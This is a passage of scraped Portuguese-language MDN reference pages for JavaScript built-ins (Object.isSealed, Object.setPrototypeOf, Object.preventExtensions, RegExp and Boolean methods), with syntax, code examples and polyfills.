first property of the second source was copied successfully.\nconsole.log(target.foo); // 1, exception is thrown here.\nconsole.log(target.foo3); // undefined, assign method has finished, foo3 will not be copied.\nconsole.log(target.baz); // undefined, the third source will not be copied either.\n```\n\n### Copiando acessores\n\n\n```js\nvar obj = {\n  foo: 1,\n  get bar() {\n    return 2;\n  },\n};\n\nvar copy = Object.assign({}, obj);\nconsole.log(copy);\n// { foo: 1, bar: 2 }, the value of copy.bar is obj.bar's getter's return value.\n\n// This is an assign function which can copy accessors.\nfunction myAssign(target, ...sources) {\n  sources.forEach((source) => {\n    Object.defineProperties(\n      target,\n      Object.keys(source).reduce((descriptors, key) => {\n        descriptors[key] = Object.getOwnPropertyDescriptor(source, key);\n        return descriptors;\n      }, {}),\n    );\n  });\n  return target;\n}\n\nvar copy = myAssign({}, obj);\nconsole.log(copy);\n// { foo:1, get bar() { return 2 } }\n```\n\nPolyfill\n--------\n\nEste polyfill não suporta propriedades `Symbol`, visto que ES5 não possui símbolos:\n\n\n```js\nif (!Object.assign) {\n  Object.defineProperty(Object, \"assign\", {\n    enumerable: false,\n    configurable: true,\n    writable: true,\n    value: function (target) {\n      \"use strict\";\n      if (target === undefined || target === null) {\n        throw new TypeError(\"Cannot convert first argument to object\");\n      }\n\n      var to = Object(target);\n      for (var i = 1; i < arguments.length; i++) {\n        var nextSource = arguments[i];\n        if (nextSource === undefined || nextSource === null) {\n          continue;\n        }\n        nextSource = Object(nextSource);\n\n        var keysArray = Object.keys(Object(nextSource));\n        for (\n          var nextIndex = 0, len = keysArray.length;\n          nextIndex < len;\n          nextIndex++\n        ) {\n          var nextKey = keysArray[nextIndex];\n          var desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);\n          if (desc !== undefined && desc.enumerable) {\n            to[nextKey] = nextSource[nextKey];\n          }\n        }\n      }\n      return to;\n    },\n  });\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.assign |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.defineProperties()`\n* Enumerabilidade e posse de propriedades"}
{"title":"Object.isSealed() - JavaScript","text":"Object.isSealed()\n=================\n\nO método **`Object.isSealed()`** determina se um objeto está selado.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nObject.isSealed(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto que deverá ser verificado.\n\n### Valor retornado\n\nUm `Boolean` indicando se o objeto fornecido está ou não selado.\n\nDescrição\n---------\n\nRetorna `true` se o objeto está selado, senão `false`. Um objeto está selado se ele for \"não extensible\" e se todas as suas propriedades estão como \"não configuráveis\" e assim sendo \"não removíveis\" (mas não necessariamente \"não escrevíveis\").\n\nExemplos\n--------\n\n\n```js\n// Objetos não são selados por padrão.\nvar empty = {};\nObject.isSealed(empty); // === false\n\n// Se você fizer um objeto não extensível vazio,\n// ele estará vagamente selado.\nObject.preventExtensions(empty);\nObject.isSealed(empty); // === true\n\n// O mesmo não é verdadeiro em um objeto \"não vazio\",\n// a não ser que todas as suas propriedades sejam \"não configuráveis\".\nvar hasProp = { fee: \"fie foe fum\" };\nObject.preventExtensions(hasProp);\nObject.isSealed(hasProp); // === false\n\n// Mas torne-os todos \"não configuráveis\"\n// e o objeto se tornará selado.\nObject.defineProperty(hasProp, \"fee\", {\n  configurable: false,\n});\nObject.isSealed(hasProp); // === true\n\n// O jeito mais fácil de selar um objeto, com certeza,\n// é Object.seal.\nvar sealed = {};\nObject.seal(sealed);\nObject.isSealed(sealed); // === true\n\n// Um objeto selado é, por definição, não extensível.\nObject.isExtensible(sealed); // === false\n\n// Um objeto selado pode estar congelado,\n// mas não precisa estar.\nObject.isFrozen(sealed); // === true\n// (todas as propriedades também não escrevíveis)\n\nvar s2 = Object.seal({ p: 3 });\nObject.isFrozen(s2); // === false\n// ('p' continua \"escrevível\")\n\nvar s3 = Object.seal({\n  get p() {\n    return 0;\n  },\n});\nObject.isFrozen(s3); // === true\n// (somente a configurabilidade importa nos assessores de propriedade)\n```\n\nNotas\n-----\n\nNo ES5, se o argumento para esse método não é um objeto (um primitivo), então ele irá causar um `TypeError`. No ES2015, um argumento que não seja objeto irá ser tratado como se fosse um objeto selado qualquer, simplesmente retornando `true`.\n\n\n```js\nObject.isSealed(1);\n// TypeError: 1 is not an object (ES5 code)\n\nObject.isSealed(1);\n// true (ES2015 code)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.issealed |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.seal()`\n* `Object.preventExtensions()`\n* `Object.isExtensible()`\n* `Object.freeze()`\n* `Object.isFrozen()`"}
{"title":"Object.setPrototypeOf() - JavaScript","text":"Object.setPrototypeOf()\n=======================\n\nO método **`Object.setPrototypeOf()`** configura o 'prototype' (i.e., a propriedade interna `[[Prototype]]`) de um objeto específico para outro objeto ou `null`.\n\n**Aviso:** **Atenção:** Mudar o `[[Prototype]]` de um objeto é, pela natureza de como os modernos mecanismos JavaScript otimizam os acessos de propriedade, uma operação muito lenta, em ***todos*** navegadores e mecanismos JavaScript. O efeito sobre o desempenho de alterar a herança são sutis e vastas e não se limitam simplesmente ao tempo gasto em `obj.__proto__ = ...` statement, mas pode estender a ***qualquer*** código que tem acesso a ***qualquer*** objeto cujo `[[Prototype]]` foi alterado. Se você se preocupa com desempenho, você deveria evitar configurar o `[[Prototype]]` de um objeto. Em vez disso, crie um novo objeto com o `[[Prototype]] desejado usando` `Object.create()`.\n\nSintaxe\n-------\n```\n\nObject.setPrototypeOf(obj, prototype);\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto que deve ter seu 'prototype' definido.\n\n`prototype`\n\nO novo 'prototype' do objeto (um objeto ou `null`).\n\n### Valor de retorno\n\nO objeto especificado.\n\nDescrição\n---------\n\nGera uma exceção `TypeError` se o objeto cujo `[[Prototype]]` é para ser modificado não for extensível de acordo com `Object.isExtensible()`. Não faz nada se o parâmetro '`prototype'` não for um objeto ou `null` (ex., número, texto, boleano, ou `undefined`). Caso contrário, este método muda o `[[Prototype]]` do `obj` para um novo valor.\n\n`Object.setPrototypeOf() é uma especificação` ECMAScript 2015. É geralmente considerada a maneira correta de definir o 'prototype' de um objeto, em relação à propriedade mais controversa `Object.prototype.__proto__`.\n\nExemplos\n--------\n\n\n```js\nvar dict = Object.setPrototypeOf({}, null);\n```\n\nPolyfill\n--------\n\nUsando a propriedade mais antiga `Object.prototype.__proto__`, nós podemos facilmente definir `Object.setPrototypeOf` se já não estiver disponível:\n\n\n```js\n// Funciona somente no Chrome e FireFox, não funciona no IE:\nObject.setPrototypeOf =\n  Object.setPrototypeOf ||\n  function (obj, proto) {\n    obj.__proto__ = proto;\n    return obj;\n  };\n```\n\nAdicionando 'Prototype' em cadeia\n---------------------------------\n\nUma combinação de `Object.getPrototypeOf()` e `Object.prototype.__proto__` permite anexar toda uma cadeia de 'prototype' a um novo objeto 'prototype':\n\n\n```js\n/\\*\\*\n \\*\\*\\* Object.appendChain(@object, @prototype)\n \\*\n \\* Acrescente o primeiro 'prototype' não nativo de uma cadeia a um novo 'prototype'.\n \\* Retorna @object (se for um valor primitivo, será transformado em um objeto).\n \\*\n \\*\\*\\* Object.appendChain(@object [, \"@arg\\_name\\_1\", \"@arg\\_name\\_2\", \"@arg\\_name\\_3\", \"...\"], \"@function\\_body\")\n \\*\\*\\* Object.appendChain(@object [, \"@arg\\_name\\_1, @arg\\_name\\_2, @arg\\_name\\_3, ...\"], \"@function\\_body\")\n \\*\n \\* Adicione o primeiro 'prototype' não nativo de uma cadeia ao objeto nativo Function.prototype, então anexar a nova função\n \\* Function([\"@arg\"(s)], \"@function\\_body\") àquela cadeia.\n \\* Retorna a função.\n \\*\n \\*\\*/\n\nObject.appendChain = function (oChain, oProto) {\n  if (arguments.length < 2) {\n    throw new TypeError(\"Object.appendChain - Argumentos insuficientes\");\n  }\n  if (typeof oProto !== \"object\" && typeof oProto !== \"string\") {\n    throw new TypeError(\n      \"segundo argumento de Object.appendChain deve ser um objeto ou uma string\",\n    );\n  }\n\n  var oNewProto = oProto,\n    oReturn =\n      (o2nd =\n      oLast =\n        oChain instanceof this ? oChain : new oChain.constructor(oChain));\n\n  for (\n    var o1st = this.getPrototypeOf(o2nd);\n    o1st !== Object.prototype && o1st !== Function.prototype;\n    o1st = this.getPrototypeOf(o2nd)\n  ) {\n    o2nd = o1st;\n  }\n\n  if (oProto.constructor === String) {\n    oNewProto = Function.prototype;\n    oReturn = Function.apply(null, Array.prototype.slice.call(arguments, 1));\n    this.setPrototypeOf(oReturn, oLast);\n  }\n\n  this.setPrototypeOf(o2nd, oNewProto);\n  return oReturn;\n};\n```\n\n### Exemplos\n\n#### Primeiro exemplo: Adicionar uma cadeia a um 'prototype'\n\n\n```js\nfunction Mammal() {\n  this.isMammal = \"yes\";\n}\n\nfunction MammalSpecies(sMammalSpecies) {\n  this.species = sMammalSpecies;\n}\n\nMammalSpecies.prototype = new Mammal();\nMammalSpecies.prototype.constructor = MammalSpecies;\n\nvar oCat = new MammalSpecies(\"Felis\");\n\nconsole.log(oCat.isMammal); // 'yes'\n\nfunction Animal() {\n  this.breathing = \"yes\";\n}\n\nObject.appendChain(oCat, new Animal());\n\nconsole.log(oCat.breathing); // 'yes'\n```\n\n\n#### Segundo exemplo: Transformar um valor primitivo em uma instância de seu construtor e anexar sua cadeia a um 'prototype'\n\n\n```js\nfunction MySymbol() {\n  this.isSymbol = \"yes\";\n}\n\nvar nPrime = 17;\n\nconsole.log(typeof nPrime); // 'number'\n\nvar oPrime = Object.appendChain(nPrime, new MySymbol());\n\nconsole.log(oPrime); // '17'\nconsole.log(oPrime.isSymbol); // 'yes'\nconsole.log(typeof oPrime); // 'object'\n```\n\n\n#### Terceiro exemplo: Anexar uma cadeia ao objeto Function.prototype e anexar uma nova função a essa cadeia\n\n\n```js\nfunction Person(sName) {\n  this.identity = sName;\n}\n\nvar george = Object.appendChain(\n  new Person(\"George\"),\n  'console.log(\"Hello guys!!\");',\n);\n\nconsole.log(george.identity); // 'George'\ngeorge(); // 'Hello guys!!'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.setprototypeof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Reflect.setPrototypeOf()` (en-US)\n* `Object.prototype.isPrototypeOf()`\n* `Object.getPrototypeOf()`\n* `Object.prototype.__proto__`"}
{"title":"Object.preventExtensions() - JavaScript","text":"Object.preventExtensions()\n==========================\n\nO método **`Object.preventExtensions()`** impede que novas propriedades sejam adicionadas a um objeto (isto é, impede futuras extensões ao objeto).\n\nSyntax\n------\n```\n\nObject.preventExtensions(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto a tornar-se não-extensível.\n\n### Valor de retorno\n\nUm objeto tornado não-extensível.\n\nDescrição\n---------\n\nUm objeto é extensível se novas propriedades puderem der adicionadas ao mesmo. `Object.preventExtensions()` marca um objeto como não mais extensível, de forma que este nunca terá novas propriedades além daquelas que o objeto tinha quando foi marcado como não-extensível. Note que as propriedades de um objeto não-extensível, em geral, ainda poderão ser *apagadas*. Tentativas de adicionar novas propriedades a um objeto não-extensível falharão, tanto silenciosamente ou lançando uma exceção `TypeError` (mais comumente, mas não exclusivamente, quando em strict mode (en-US)).\n\n`Object.preventExtensions()` evita apenas a adição de novas propriedades diretas. Proprieades ainda poderão ser adicionadas ao protótipo do objeto.\n\nÉ impossível tornar um objeto extensível novamente uma vez que o mesmo tenha se tornado não-extensível.\n\nExemplos\n--------\n\n\n```js\n// Object.preventExtensions retorna o objeto\n// tornado não-extensível.\nvar obj = {};\nvar obj2 = Object.preventExtensions(obj);\nobj === obj2; // verdadeiro\n\n// Objetos são extensíveis por padrão...\nvar empty = {};\nObject.isExtensible(empty); // === verdadeiro\n\n// ...mas isso pode ser mudado.\nObject.preventExtensions(empty);\nObject.isExtensible(empty); // === falso\n\n// Object.defineProperty lança erro quando adiciona-se\n// uma nova propriedade a um objeto não-extensível.\nvar nonExtensible = { removable: true };\nObject.preventExtensions(nonExtensible);\nObject.defineProperty(nonExtensible, \"new\", {\n  value: 8675309,\n}); // lança um TypeError\n\n// No modo restrito, tentar adicionar novas propriedades a\n// um objeto não-extensível lança um TypeError.\nfunction fail() {\n  \"use strict\";\n  // lança um TypeError\n  nonExtensible.newProperty = \"FAIL\";\n}\nfail();\n```\n\n\nO protótipo não-extensível de um objeto é imutável:\n\n\n```js\nvar fixed = Object.preventExtensions({});\n// lança um 'TypeError'.\nfixed.__proto__ = { oh: \"hai\" };\n```\n\nNotas\n-----\n\nNo ES5, se o argumento atribuído a este método não for um objeto (for um primitivo), isso causará um erro de tipo `TypeError`. No ES2015, um argumento não-objeto será tratado como se o mesmo fosse um objeto não-extensível comum, simplesmente retornando-o.\n\n\n```js\nObject.preventExtensions(1);\n// TypeError: 1 não é um objeto (código ES5)\n\nObject.preventExtensions(1);\n// 1 (código ES2015)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.preventextensions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.isExtensible()`\n* `Object.seal()`\n* `Object.isSealed()`\n* `Object.freeze()`\n* `Object.isFrozen()`\n* `Reflect.preventExtensions()` (en-US)"}
{"title":"RegExp.prototype.ignoreCase - JavaScript","text":"RegExp.prototype.ignoreCase\n===========================\n\nO atributo **`ignoreCase`** indica se a flag \"i\" foi ou não utilizada com a expressão regular.`ignoreCase` é um atributo somente leitura de uma instância individual de expressãoregular.Experimente\n-----------\n\n| Property attributes of `RegExp.prototype.ignoreCase` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | yes |\n\nDescrição\n---------\n\nO valor de `ignoreCase` é um `Boolean` e`true` se a flag \"`i`\" foi usada; `false` caso contrário. A flag \"i\" indica que maiúsculas e minúsculas são equivalentes ao se tentar casar uma string com a expressão regular.\n\nVocê não pode alterar essa propriedade diretamente.\n\nExemplos\n--------\n\n### Usando `ignoreCase`\n\n\n```js\nvar regex = new RegExp(\"foo\", \"i\");\n\nconsole.log(regex.ignoreCase); // true\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-get-regexp.prototype.ignorecase |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `RegExp.lastIndex` (en-US)\n* `RegExp.prototype.global` (en-US)\n* `RegExp.prototype.multiline` (en-US)\n* `RegExp.prototype.source` (en-US)\n* `RegExp.prototype.sticky`"}
{"title":"RegExp.prototype.sticky - JavaScript","text":"RegExp.prototype.sticky\n=======================\n\nA propriedade **`sticky`** indica se a busca é \"pegajosa\" (percorre a string somente a partir do índice indicado pela propriedade `lastIndex` (en-US) desta expressão regular). A propriedade `sticky` em um objeto de expressão regular é somente para leitura.\n\nExperimente\n-----------\n\n| Property attributes of `RegExp.prototype.sticky` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | yes |\n\nDescrição\n---------\n\nO valor de `sticky` é do tipo `Boolean` e será *true* quando a flag \"`y`\" for utilizada; senão, será *false*. A flag \"`y`\" indica que as correspondências ocorrerão apenas a partir do indice indicado pela propriedade `lastIndex` (en-US) desta expressão regular na string alvo (e não buscará correspondência em nenhum índice anterior). Uma expressão regular definida como `sticky` e `global` ignora a flag `global`.\n\nVocê não pode alterar essa propriedade diretamente. Ela é somente para leitura.\n\nExemplos\n--------\n\n### Uilizando uma expressão regular com a flag *sticky*\n\n\n```js\nvar str = \"#foo#\";\nvar regex = /foo/y;\n\nregex.lastIndex = 1;\nregex.test(str); // true\nregex.lastIndex = 5;\nregex.test(str); // false (lastIndex é levado em conta com a flag sticky)\nregex.lastIndex; // 0 (reinicia quando não ocorre correspondência)\n```\n\n### Flag sticky ancorada\n\nPor diversas versões, a engine SpiderMonkey do Firefox apresentou um bug na asserção de `^` com a flag *sticky* que fazia expressões iniciando com `^` e usando a flag *sticky* encontrarem correspondências onde não deveriam. O bug foi introduzido algum tempo após o Firefox 3.6 (que possuía a flag sticky mas não apresentava o bug) e corrigido em 2015. Talvez por este motivo, a especificação ES2015 destaca especificamente que:\n\n> \n> Quando a flag `y` for usada em um padrão, ^ indica que a correspondência ocorrerá apenas no início da entrada, ou (se `multiline` for `true`) no início de uma linha.\n> \n> \n> \n\nExemplos de comportamento esperado:\n\n\n```js\nvar regex = /^foo/y;\nregex.lastIndex = 2;\nregex.test(\"..foo\"); // false - índice 2 não é o início da string\n\nvar regex2 = /^foo/my;\nregex2.lastIndex = 2;\nregex2.test(\"..foo\"); // false - índice 2 não é o início da string nem da linha\nregex2.lastIndex = 2;\nregex2.test(\".\\nfoo\"); // true - índice 2 é o início da linha\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-get-regexp.prototype.sticky |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `RegExp.lastIndex` (en-US)\n* `RegExp.prototype.global` (en-US)\n* `RegExp.prototype.ignoreCase`\n* `RegExp.prototype.multiline` (en-US)\n* `RegExp.prototype.source` (en-US)"}
{"title":"RegExp.prototype.exec() - JavaScript","text":"RegExp.prototype.exec()\n=======================\n\nO método **`exec()`** executa a busca por um padrão em uma determinada string. Retorna um array, ou `null`.\n\nSe você está precisa somente de um retorno verdadeiro/falso, use o método `RegExp.prototype.test()` ou `String.prototype.search()`.\n\nSintaxe\n-------\n```\n\nregexObj.exec(string)\n```\n\n### Parâmetros\n\n`string`\n\nA string para comparar com a expressão regular\n\n### Valor retornado\n\nSe a combinação acontecer, o método `exec()` o método retorna um array e atualiza as propriedades do objeto da expressão regular. Esse array retornado possui o texto combinado como primeiro item e depois um item para cada captura contendo o respectivo texto.\n\nSe falhar, o retorno do método `exec()` será `null`.\n\nDescrição\n---------\n\nConsidere o exemplo abaixo:\n\n\n```js\n// Encontra combinações \"quick brown\" seguido de \"jumps\", ignorando caracteres entre eles\n// Relembra \"brown\" e \"jumps\"\n// Ignora caixa (maiúsculo e minúsculo)\nvar re = /quick\\s(brown).+?(jumps)/gi;\nvar result = re.exec(\"The Quick Brown Fox Jumps Over The Lazy Dog\");\n```\n\n\nA tabela a seguir provê os resultados do script:\n\n|  |  |  |  |\n| --- | --- | --- | --- |\n| Objeto | Propriedade/Índice | Descrição | Exemplo |\n| `result` | `[0]` | A string completa dos caracteres encontrados | `Quick Brown Fox Jumps` |\n| `[1], ...[*n* ]` | \n As combinações de substrings parametrizadas encontradas, se existir. A\n quantidade de possíveis substrings parametrizadas é ilimitado.\n  | `[1] = Brown[2] = Jumps` |\n| `index` | O índice base 0 do valor encontrado na string. | `4` |\n| `input` | String original | `The Quick Brown Fox Jumps Over The Lazy Dog` |\n| `re` | `lastIndex` | \n O índice que começa a próxima combinação encontrada. Quando\n \"`g`\" não é definido, este valor será sempre 0.\n  | `25` |\n| `ignoreCase` | \n Indica se a flag \"`i`\" foi usada para ignorar caixa\n alta/baixa.\n  | `true` |\n| `global` | \n Indica se a flag \"`g`\" foi usada para encontrar combinações\n de forma global.\n  | `true` |\n| `multiline` | \n Indica se a flag \"`m`\" foi usada para pesquisar em strings de\n diversas linhas.\n  | `false` |\n| `source` | Texto do padrão. | `quick\\s(brown).+?(jumps)` |\n\nExemplos\n--------\n\n### Procurando combinações sucessivas\n\nIf your regular expression uses the \"`g`\" flag, you can use the `exec()` method multiple times to find successive matches in the same string. When you do so, the search starts at the substring of `str` specified by the regular expression's `lastIndex` (en-US) property (`test()` will also advance the `lastIndex` (en-US) property). For example, assume you have this script:\n\n\n```js\nvar myRe = /ab\\*/g;\nvar str = \"abbcdefabh\";\nvar myArray;\nwhile ((myArray = myRe.exec(str)) !== null) {\n  var msg = \"Found \" + myArray[0] + \". \";\n  msg += \"Next match starts at \" + myRe.lastIndex;\n  console.log(msg);\n}\n```\n\n\nThis script displays the following text:\n```\n\nFound abb. Next match starts at 3\nFound ab. Next match starts at 9\n```\n\n\nNota: Do not place the regular expression literal (or `RegExp` constructor) within the `while` condition or it will create an infinite loop if there is a match due to the `lastIndex` (en-US) property being reset upon each iteration. Also be sure that the global flag is set or a loop will occur here also.\n\n### Usando `exec()` com `RegExp` literais\n\nYou can also use `exec()` without creating a `RegExp` object:\n\n\n```js\nvar matches = /(hello \\S+)/.exec(\"This is a hello world!\");\nconsole.log(matches[1]);\n```\n\n\nThis will log a message containing 'hello world!'.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-regexp.prototype.exec |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O capítulo de Expressões Regulares no Guia de Javascript.\n* `RegExp`"}
{"title":"RegExp.prototype.compile() - JavaScript","text":"RegExp.prototype.compile()\n==========================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **`compile()`** está depreciado, é usado para (re-)compilar uma expressão regular durante a execução de um script. É basicamente o mesmo que o construtor `RegExp`.\n\nSintaxe\n-------\n```\n\nregexObj.compile(pattern, flags)\n```\n\n### Parâmetros\n\n`pattern`\n\nÉ o texto da expressão regular.\n\n`flags`\n\nSe especificado, as flags podem ter qualquer combinação dos seguintes valores:\n\n`g`\n\nglobal.\n\n`i`\n\nignorar caso.\n\n`m`\n\nmultilinha; trata os caracteres iniciais e finais como (^ e $), trabalhando sobre várias linhas (isto é, corresponde ao início ou ao final de cada linha (delimitado por \\n ou \\r), não apenas o começo, ou o final de toda a cadeia de entrada).\n\n`y`\n\nsticky; corresponde apenas ao índice indicado pela propriedade `lastIndex` dessa expressão regular na cadeia de destino (e não tenta corresponder a partir de índices posteriores).\n\n\nDescrição\n---------\n\nO método de `compilação` é obsoleto. Você pode simplesmente usar o construtor `RegExp` para obter o mesmo efeito.\n\nExemplos\n--------\n\n### Usando `compile()`\n\nO exemplo a seguir mostra como recompilar uma expressão regular com um novo padrão e um nova flag.\n\n\n```js\nvar regexObj = new RegExp(\"foo\", \"gi\");\nregexObj.compile(\"new foo\", \"g\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-regexp.prototype.compile |\n\nBrowser compativeis\n-------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `RegExp`"}
{"title":"RegExp.prototype.test() - JavaScript","text":"RegExp.prototype.test()\n=======================\n\nO método **test()** executa uma busca por uma correspondência entre uma expressão regular e uma string. Retorna `true` ou `false`.Sintaxe\n-------\n```\n\nregexObj.test(str)\n```\n\n### Parâmetros\n\n`str`\n\nA string que confrontará a expressão regular. Todos os valores são convertidos em strings, portanto, omiti-lo ou passar undefined faz com que test() procure a string \"undefined\".\n\n### Retorno\n\nBoolean.\n\n`true` se a string `str` corresponde com o que está descrito na expressão regular.\n\nCaso contrário, retorna `false`.\n\nDescrição\n---------\n\nUse test() sempre que você quiser saber se um padrão está dentro de uma string( similar ao método `String.prototype.search()`); Para mais informações (porém com execução mais lenta) use o método `exec()` (similar ao método `String.prototype.match()`). Assim como `exec()` (ou em combinação com ele), test() quando chamado várias vezes dentro da mesma instância de expressão regular irá avançar seu ponteiro para a correspondência anterior.\n\nExemplos\n--------\n\n### Usando `test()`\n\nExemplo simples que verifica se `\"hello\"` está presente no início de uma string, retornando um booleano como resultado.\n```\n\nconst str = 'hello world!';\nconst result = /^hello/.test(str);\n\nconsole.log(result); // true\n```\n\n\nO exemplo a seguir mostra uma mensagem dependendo do sucesso do teste.\n\n\n```js\nfunction testinput(re, str) {\n  var midstring;\n  if (re.test(str)) {\n    midstring = \" Contém \";\n  } else {\n    midstring = \" não contém \";\n  }\n  console.log(str + midstring + re.source);\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-regexp.prototype.test |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nGecko-specific notes\n--------------------\n\nA priori no Grecko 8.0, `test()` foi implementado incorretamente; quando chamado sem parâmetros, ele encontrária uma correspondência com o valor de entrada anterior (`RegExp.input` property) no lugar de uma correspondência com `\"undefined\"`. Isso está conrrigido; agora `/undefined/.test()` resultará em `true`, no lugar de um erro.\n\nSee also\n--------\n\n* Regular Expressions chapter in the JavaScript Guide\n* `RegExp`"}
{"title":"RegExp.prototype.toString() - JavaScript","text":"RegExp.prototype.toString()\n===========================\n\nO método **`toString()`** retorna uma string que representa uma expressão regular.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\ntoString();\n```\n\n### Valor retornado\n\nUma string representando o objeto dado.\n\nDescrição\n---------\n\n O objeto `RegExp` subscreve o método `toString()` do objeto\n `Object`; ele não herda `Object.prototype.toString()`.\n Para objetos `RegExp`, o método `toString()` retorna uma\n representação da expressão regular como string.\n\nExemplos\n--------\n\n### UsandotoString()\n\nO exemplo a seguir exibe o valor em string de um objeto `RegExp`\n\n\n```js\nconst myExp = new RegExp(\"a+b+c\");\nconsole.log(myExp.toString()); // logs '/a+b+c/'\nconst foo = new RegExp(\"bar\", \"g\");\nconsole.log(foo.toString()); // logs '/bar/g'\n```\n\n### Expressões regulares vazias e escape\n\n Introduzindo o ECMAScript 5, uma expressão regular vazia retorna a string \"/(?:)/\" e\n terminadores de linha como \"\\n\" são utilizados\n\n\n```js\nnew RegExp().toString(); // \"/(?:)/\"\nnew RegExp(\"\\n\").toString() === \"/\\n/\"; // verdadeiro, antes do ES5\nnew RegExp(\"\\n\").toString() === \"/\\\\n/\"; // verdadeiro, introduzindo o ES5\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-regexp.prototype.tostring |\n\nBrowsers compativeis\n--------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.toString()`"}
{"title":"Boolean.prototype.toString() - JavaScript","text":"Boolean.prototype.toString()\n============================\n\nO método **`toString()`** retorna uma string representando o objeto Boolean específico.\n\nSintaxe\n-------\n```\n\nbool.toString()\n```\n\n### Valor retornado\n\nUma string representando o objeto `Boolean` específico.\n\nDescrição\n---------\n\nO objeto `Boolean` sobrepõe o método `toString` do objeto `Object`; ele não herda `Object.prototype.toString()`. Para objetos Boolean, o método `toString` retorna uma representação do objeto como string.\n\nO JavaScript chama o método `toString` automaticamente quando uma `Boolean` deve ser representado como texto ou quando uma `Boolean` é referenciada como uma concatenação de string.\n\nPara objetos e valores `Boolean`, o método nativo `toString` retorna a string \"`true`\" ou \"`false`\", dependendo do valor do objeto boleano.\n\nExemplos\n--------\n\n### Usando `toString`\n\nNo código a seguir, `flag.toString()` retorna \"`true`\":\n\n\n```js\nvar flag = new Boolean(true);\nvar myVar = flag.toString();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-boolean.prototype.tostring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.toString()`"}
{"title":"Boolean.prototype.valueOf() - JavaScript","text":"Boolean.prototype.valueOf()\n===========================\n\nO método **`valueOf()`** retorna o valor primitivo de um objeto `Boolean`.\n\nSintaxe\n-------\n```\n\nbool.valueOf()\n```\n\n### Parâmetros\n\nNenhum.\n\nDescrição\n---------\n\nO método `valueOf` do `Boolean` retorna o valor primitivo de um objeto `Boolean` ou um literal `Boolean` como tipo de dado Boolean.\n\nEsse método é geralmente chamado internamente pelo JavaScript e não explicitamente no código.\n\nExemplos\n--------\n\n### Usando `valueOf`\n\n\n```js\nx = new Boolean();\nmyVar = x.valueOf(); // atribui o valor false à variável myVar\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-boolean.prototype.valueof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.valueOf()`"}
